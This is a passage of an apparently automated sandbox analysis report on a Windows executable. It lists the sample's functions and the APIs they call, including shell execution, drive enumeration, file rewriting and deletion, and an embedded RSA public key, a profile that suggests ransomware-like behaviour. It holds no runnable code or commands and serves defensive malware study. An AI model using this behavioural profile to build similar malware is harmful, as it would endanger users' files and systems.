          • Part of subcall function 00404972: feof.MSVCRT ref: 004049D7
          • Part of subcall function 00404972: fgets.MSVCRT ref: 004049F5
          • Part of subcall function 0056AE60: memchr.MSVCRT ref: 0056AFCB
          • Part of subcall function 004F3DD0: strlen.MSVCRT ref: 004F3DDE
        • ShellExecuteEx.SHELL32 ref: 00401DFC
        • WaitForSingleObject.KERNEL32 ref: 00401E14
        • GetSystemWindowsDirectoryA.KERNEL32(?), ref: 00401E38
        • tolower.MSVCRT ref: 00401E90
        • tolower.MSVCRT ref: 00403C63
          • Part of subcall function 004048E5: memcmp.MSVCRT ref: 0040490B
        • remove.MSVCRT(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00403D4B
        • time.MSVCRT ref: 00403DB5
        • srand.MSVCRT ref: 00403DDC
        • rand.MSVCRT ref: 00403DE1
          • Part of subcall function 004053C0: strlen.MSVCRT ref: 00405407
        • malloc.MSVCRT ref: 00403F67
        • fopen.MSVCRT ref: 00403FCD
        • fwrite.MSVCRT ref: 00403FF1
        • fclose.MSVCRT ref: 00403FFF
          • Part of subcall function 0056D960: strlen.MSVCRT ref: 0056D974
        • system.MSVCRT ref: 004044C7
          • Part of subcall function 004F4630: strlen.MSVCRT ref: 004F4643
          • Part of subcall function 004F4630: memcmp.MSVCRT ref: 004F4662
        • fopen.MSVCRT ref: 00404136
        • fopen.MSVCRT ref: 0040417C
        • malloc.MSVCRT ref: 004041BE
        • malloc.MSVCRT ref: 0040420E
        • fwrite.MSVCRT ref: 00404232
        • fread.MSVCRT ref: 0040425C
        • fwrite.MSVCRT ref: 004042BB
        • fwrite.MSVCRT ref: 0040431C
        • free.MSVCRT(00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00404324
        • free.MSVCRT(00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00404332
        • fclose.MSVCRT ref: 00404346
        • fclose.MSVCRT ref: 00404354
        • remove.MSVCRT(00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00404398
        • _chmod.MSVCRT ref: 004043B0
        • remove.MSVCRT(?,?,?,00000000,00000000,?,?,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 004043C0
        • remove.MSVCRT(00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 004043D0
        • remove.MSVCRT(?,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004043F4
        • system.MSVCRT ref: 004044A7
        • system.MSVCRT ref: 0040456B
          • Part of subcall function 004F3C90: strlen.MSVCRT ref: 004F3C9E
          • Part of subcall function 004F4240: strlen.MSVCRT ref: 004F424E
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00401170, Relevance: 18.2, APIs: 12, Instructions: 202
        APIs
        • Sleep.KERNEL32 ref: 00401204
          • Part of subcall function 004D1C30: VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004D1DCB
          • Part of subcall function 004D1C30: VirtualProtect.KERNEL32 ref: 004D1DFC
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1F38
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1F9F
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1FDF
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1FF8
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D202A
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D2060
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D207F
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D209F
        • SetUnhandledExceptionFilter.KERNEL32 ref: 00401285
        • malloc.MSVCRT ref: 0040134B
        • strlen.MSVCRT ref: 0040136B
        • malloc.MSVCRT ref: 00401376
        • memcpy.MSVCRT ref: 00401392
          • Part of subcall function 0057150F: GetTempPathA.KERNEL32 ref: 00571541
          • Part of subcall function 0057150F: SetCurrentDirectoryA.KERNELBASE ref: 00571567
        • _cexit.MSVCRT ref: 00401400
        • _amsg_exit.MSVCRT ref: 0040142C
        • _initterm.MSVCRT ref: 0040144E
        • GetStartupInfoA.KERNEL32 ref: 00401473
        • _initterm.MSVCRT ref: 0040149A
        • exit.MSVCRT ref: 004014AE
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004012F9, Relevance: 7.6, APIs: 5, Instructions: 76
        APIs
          • Part of subcall function 004D1C30: VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004D1DCB
          • Part of subcall function 004D1C30: VirtualProtect.KERNEL32 ref: 004D1DFC
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1F38
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1F9F
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1FDF
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1FF8
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D202A
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D2060
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D207F
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D209F
        • SetUnhandledExceptionFilter.KERNEL32 ref: 00401285
        • malloc.MSVCRT ref: 0040134B
        • strlen.MSVCRT ref: 0040136B
        • malloc.MSVCRT ref: 00401376
        • memcpy.MSVCRT ref: 00401392
          • Part of subcall function 0057150F: GetTempPathA.KERNEL32 ref: 00571541
          • Part of subcall function 0057150F: SetCurrentDirectoryA.KERNELBASE ref: 00571567
        • _cexit.MSVCRT ref: 00401400
        • _amsg_exit.MSVCRT ref: 0040142C
        • _initterm.MSVCRT ref: 0040144E
        • GetStartupInfoA.KERNEL32 ref: 00401473
        • _initterm.MSVCRT ref: 0040149A
        • exit.MSVCRT ref: 004014AE
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004012E9, Relevance: 7.6, APIs: 5, Instructions: 73
        APIs
          • Part of subcall function 004D1C30: VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004D1DCB
          • Part of subcall function 004D1C30: VirtualProtect.KERNEL32 ref: 004D1DFC
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1F38
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1F9F
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1FDF
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D1FF8
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D202A
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D2060
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D207F
          • Part of subcall function 004D1C30: signal.MSVCRT ref: 004D209F
        • SetUnhandledExceptionFilter.KERNEL32 ref: 00401285
        • malloc.MSVCRT ref: 0040134B
        • strlen.MSVCRT ref: 0040136B
        • malloc.MSVCRT ref: 00401376
        • memcpy.MSVCRT ref: 00401392
          • Part of subcall function 0057150F: GetTempPathA.KERNEL32 ref: 00571541
          • Part of subcall function 0057150F: SetCurrentDirectoryA.KERNELBASE ref: 00571567
        • _cexit.MSVCRT ref: 00401400
        • _amsg_exit.MSVCRT ref: 0040142C
        • _initterm.MSVCRT ref: 0040144E
        • GetStartupInfoA.KERNEL32 ref: 00401473
        • _initterm.MSVCRT ref: 0040149A
        • exit.MSVCRT ref: 004014AE
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0057150F, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59
        APIs
        • GetTempPathA.KERNEL32 ref: 00571541
        • SetCurrentDirectoryA.KERNELBASE ref: 00571567
          • Part of subcall function 004048E5: memcmp.MSVCRT ref: 0040490B
          • Part of subcall function 00401630: CreateDirectoryA.KERNELBASE(00000000,00000001,?,?,?,0CA30061,00000001,?,005715BA,?,00000000), ref: 004016A3
          • Part of subcall function 00401630: Sleep.KERNELBASE(00000000,00000000,?,005715BA,?,00000000), ref: 004016B2
          • Part of subcall function 00401630: system.MSVCRT ref: 00401745
          • Part of subcall function 00401630: system.MSVCRT ref: 00401765
          • Part of subcall function 00401630: GetLogicalDriveStringsA.KERNEL32(00000000,00000000), ref: 00401782
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00404972, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
        APIs
        • _popen.MSVCRT ref: 0040499B
          • Part of subcall function 00570390: malloc.MSVCRT ref: 005703A5
          • Part of subcall function 00570390: malloc.MSVCRT ref: 00570406
        • feof.MSVCRT ref: 004049D7
        • fgets.MSVCRT ref: 004049F5
          • Part of subcall function 00553D90: strlen.MSVCRT ref: 00553D9E
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004D15E0, Relevance: 6.0, APIs: 4, Instructions: 48
        APIs
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00404A24, Relevance: 6.0, APIs: 4, Instructions: 32
        APIs
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0057150F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59
        APIs
        • GetTempPathA.KERNEL32 ref: 00571541
        • SetCurrentDirectoryA.KERNELBASE ref: 00571567
          • Part of subcall function 004048E5: memcmp.MSVCRT ref: 0040490B
          • Part of subcall function 00401630: CreateDirectoryA.KERNELBASE(00000000,00000001,?,?,?,0CA30061,00000001,?,005715BA,?,00000000), ref: 004016A3
          • Part of subcall function 00401630: Sleep.KERNELBASE(00000000,00000000,?,005715BA,?,00000000), ref: 004016B2
          • Part of subcall function 00401630: system.MSVCRT ref: 00401745
          • Part of subcall function 00401630: system.MSVCRT ref: 00401765
          • Part of subcall function 00401630: GetLogicalDriveStringsA.KERNEL32(00000000,00000000), ref: 00401782
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00404764, Relevance: 1.5, APIs: 1, Instructions: 8
        APIs
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd

        Non-executed Functions

        Function 004356C7, Relevance: 70.3, APIs: 22, Strings: 18, Instructions: 307
        APIs
        • GetProcAddress.KERNEL32 ref: 004352EF
        • GetProcAddress.KERNEL32 ref: 00435301
        • GetProcAddress.KERNEL32 ref: 00435315
        • GetProcAddress.KERNEL32 ref: 00435329
        • GetProcAddress.KERNEL32 ref: 0043533D
        • GetProcAddress.KERNEL32 ref: 00435351
        • GetProcAddress.KERNEL32 ref: 00435365
        • GetProcAddress.KERNEL32 ref: 00435379
        • GetProcAddress.KERNEL32 ref: 0043538D
        • GetProcAddress.KERNEL32 ref: 004353A1
        • GetProcAddress.KERNEL32 ref: 004353B5
        • GetProcAddress.KERNEL32 ref: 004353C9
        • GetTickCount.KERNEL32 ref: 00435583
        • FreeLibrary.KERNEL32 ref: 00435653
          • Part of subcall function 00435040: GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00435661), ref: 0043504E
          • Part of subcall function 00435040: QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,00000000,00435661), ref: 00435087
        • GlobalMemoryStatus.KERNEL32 ref: 0043566B
        • GetCurrentProcessId.KERNEL32 ref: 00435695
        • GetProcAddress.KERNEL32 ref: 004356F9
        • GetProcAddress.KERNEL32 ref: 0043570D
        • GetProcAddress.KERNEL32 ref: 00435721
        • GetVersion.KERNEL32 ref: 0043575E
        • GetVersion.KERNEL32 ref: 00435764
        • FreeLibrary.KERNEL32 ref: 004357BF
        • GetTickCount.KERNEL32 ref: 00435965
        • GetTickCount.KERNEL32 ref: 004359BE
        • GetTickCount.KERNEL32 ref: 00435B2C
        • CloseHandle.KERNEL32 ref: 00435BA6
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00413770, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 89
        APIs
        • GetStdHandle.KERNEL32 ref: 0041377F
        • GetFileType.KERNEL32 ref: 00413791
        • _vsnprintf.MSVCRT ref: 004137C7
        • GetVersion.KERNEL32 ref: 004137D5
        • MessageBoxA.USER32 ref: 0041388E
          • Part of subcall function 00413610: GetModuleHandleA.KERNEL32 ref: 00413638
          • Part of subcall function 00413610: GetProcAddress.KERNEL32 ref: 00413654
          • Part of subcall function 00413610: GetProcessWindowStation.USER32 ref: 00413670
          • Part of subcall function 00413610: GetUserObjectInformationW.USER32 ref: 004136A8
          • Part of subcall function 00413610: GetLastError.KERNEL32 ref: 004136B5
          • Part of subcall function 00413610: GetUserObjectInformationW.USER32 ref: 0041370D
          • Part of subcall function 00413610: wcsstr.MSVCRT ref: 00413736
        • RegisterEventSourceA.ADVAPI32 ref: 004137FF
        • ReportEventA.ADVAPI32 ref: 00413855
        • DeregisterEventSource.ADVAPI32 ref: 00413861
        • _vsnprintf.MSVCRT ref: 004138C5
        • WriteFile.KERNEL32 ref: 004138F0
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00401500, Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 64
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004156B0, Relevance: 7.6, Strings: 6, Instructions: 130
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004D1780, Relevance: 7.6, APIs: 5, Instructions: 55
        APIs
        • GetSystemTimeAsFileTime.KERNEL32 ref: 004D17B9
        • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014D2), ref: 004D17CA
        • GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014D2), ref: 004D17D2
        • GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014D2), ref: 004D17DA
        • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014D2), ref: 004D17E9
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00405600, Relevance: 1.3, Strings: 1, Instructions: 22
        Strings
        • -----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAuHSaciHs234HFdvavCdAUL/dvBtWZo5e8SAkm19mQLX5VTzBoscekoJOoPHeAqGFHboj+8TQMZZl/tq5o7W4ZAjSkmEMmeNYgETNbnw8QLa1q4CtmU8W9QzTxcS+HFOo/gh0GYNMr1XqK/IksjhUYQREGnGp20jCeJmTEp+AWp5TvDtFRC/PzAVCuO, xrefs: 00405600
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004E6ED0, Relevance: .0, Instructions: 13
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 0045BED7, Relevance: .0, Instructions: 12
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00415857, Relevance: .0, Instructions: 9
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004358AC, Relevance: 54.5, APIs: 17, Strings: 14, Instructions: 265
        APIs
        • GetProcAddress.KERNEL32 ref: 004352EF
        • GetProcAddress.KERNEL32 ref: 00435301
        • GetProcAddress.KERNEL32 ref: 00435315
        • GetProcAddress.KERNEL32 ref: 00435329
        • GetProcAddress.KERNEL32 ref: 0043533D
        • GetProcAddress.KERNEL32 ref: 00435351
        • GetProcAddress.KERNEL32 ref: 00435365
        • GetProcAddress.KERNEL32 ref: 00435379
        • GetProcAddress.KERNEL32 ref: 0043538D
        • GetProcAddress.KERNEL32 ref: 004353A1
        • GetProcAddress.KERNEL32 ref: 004353B5
        • GetProcAddress.KERNEL32 ref: 004353C9
        • GetTickCount.KERNEL32 ref: 00435583
        • FreeLibrary.KERNEL32 ref: 00435653
          • Part of subcall function 00435040: GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00435661), ref: 0043504E
          • Part of subcall function 00435040: QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,00000000,00435661), ref: 00435087
        • GlobalMemoryStatus.KERNEL32 ref: 0043566B
        • GetCurrentProcessId.KERNEL32 ref: 00435695
        • FreeLibrary.KERNEL32 ref: 004357BF
        • GetTickCount.KERNEL32 ref: 00435965
        • GetTickCount.KERNEL32 ref: 004359BE
        • GetTickCount.KERNEL32 ref: 00435B2C
        • CloseHandle.KERNEL32 ref: 00435BA6
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E8960, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 114
        APIs
        • memcpy.MSVCRT ref: 004E89D1
        • fwrite.MSVCRT ref: 004E8A70
        • fputs.MSVCRT ref: 004E8A8B
        • fwrite.MSVCRT ref: 004E8AB3
        • fputs.MSVCRT ref: 004E8AC7
        • fwrite.MSVCRT ref: 004E8AF1
        • abort.MSVCRT ref: 004E8AF6
        • free.MSVCRT ref: 004E8AFE
        • abort.MSVCRT ref: 004E8B78
        • fwrite.MSVCRT ref: 004E8BA0
          • Part of subcall function 004D1460: strlen.MSVCRT ref: 004D14F5
          • Part of subcall function 004D1460: memcpy.MSVCRT ref: 004D1510
          • Part of subcall function 004D1460: free.MSVCRT(?,?,?,?,?,?,?,?,?,004E8A4B), ref: 004D151A
          • Part of subcall function 004D1460: free.MSVCRT(?,?,?,?,?,?,?,?,?,004E8A4B), ref: 004D1543
          • Part of subcall function 004D1460: free.MSVCRT(?,?,?,?,?,?,?,?,?,004E8A4B), ref: 004D1587
        Strings
        • terminate called after throwing an instance of ', xrefs: 004E8A62
        • -, xrefs: 004E8B82
        • terminate called without an active exception, xrefs: 004E8B92
        • terminate called recursively, xrefs: 004E8AE3
        • not enough space for format expansion (Please submit full bug report at http://gcc.gnu.org/bugs.html): , xrefs: 004E8971
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0045ECD0, Relevance: 24.3, APIs: 4, Strings: 12, Instructions: 345
        APIs
          • Part of subcall function 00456A70: strlen.MSVCRT ref: 00456A86
          • Part of subcall function 00456A70: isupper.MSVCRT ref: 00456AF2
          • Part of subcall function 00456A70: tolower.MSVCRT ref: 00456AFF
          • Part of subcall function 00456A70: isupper.MSVCRT ref: 00456B0F
        • memcpy.MSVCRT ref: 0045EF43
        • strlen.MSVCRT ref: 0045EFF9
        • memcpy.MSVCRT ref: 0045F05A
          • Part of subcall function 00431E00: GetLastError.KERNEL32 ref: 00431E62
          • Part of subcall function 00431E00: _errno.MSVCRT ref: 00431ECA
          • Part of subcall function 00431E00: _errno.MSVCRT ref: 00431ED1
          • Part of subcall function 00431E00: fclose.MSVCRT ref: 00431F46
        • memcpy.MSVCRT ref: 0045F121
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00449EC0, Relevance: 24.2, APIs: 1, Strings: 15, Instructions: 248
        APIs
          • Part of subcall function 004496B0: strlen.MSVCRT ref: 00449771
          • Part of subcall function 004496B0: memcpy.MSVCRT ref: 0044982E
          • Part of subcall function 004496B0: memcpy.MSVCRT ref: 00449912
          • Part of subcall function 004496B0: strlen.MSVCRT ref: 00449B46
          • Part of subcall function 004496B0: strncmp.MSVCRT ref: 00449B6B
        • strcmp.MSVCRT ref: 00449F25
          • Part of subcall function 00449E60: strlen.MSVCRT ref: 00449E71
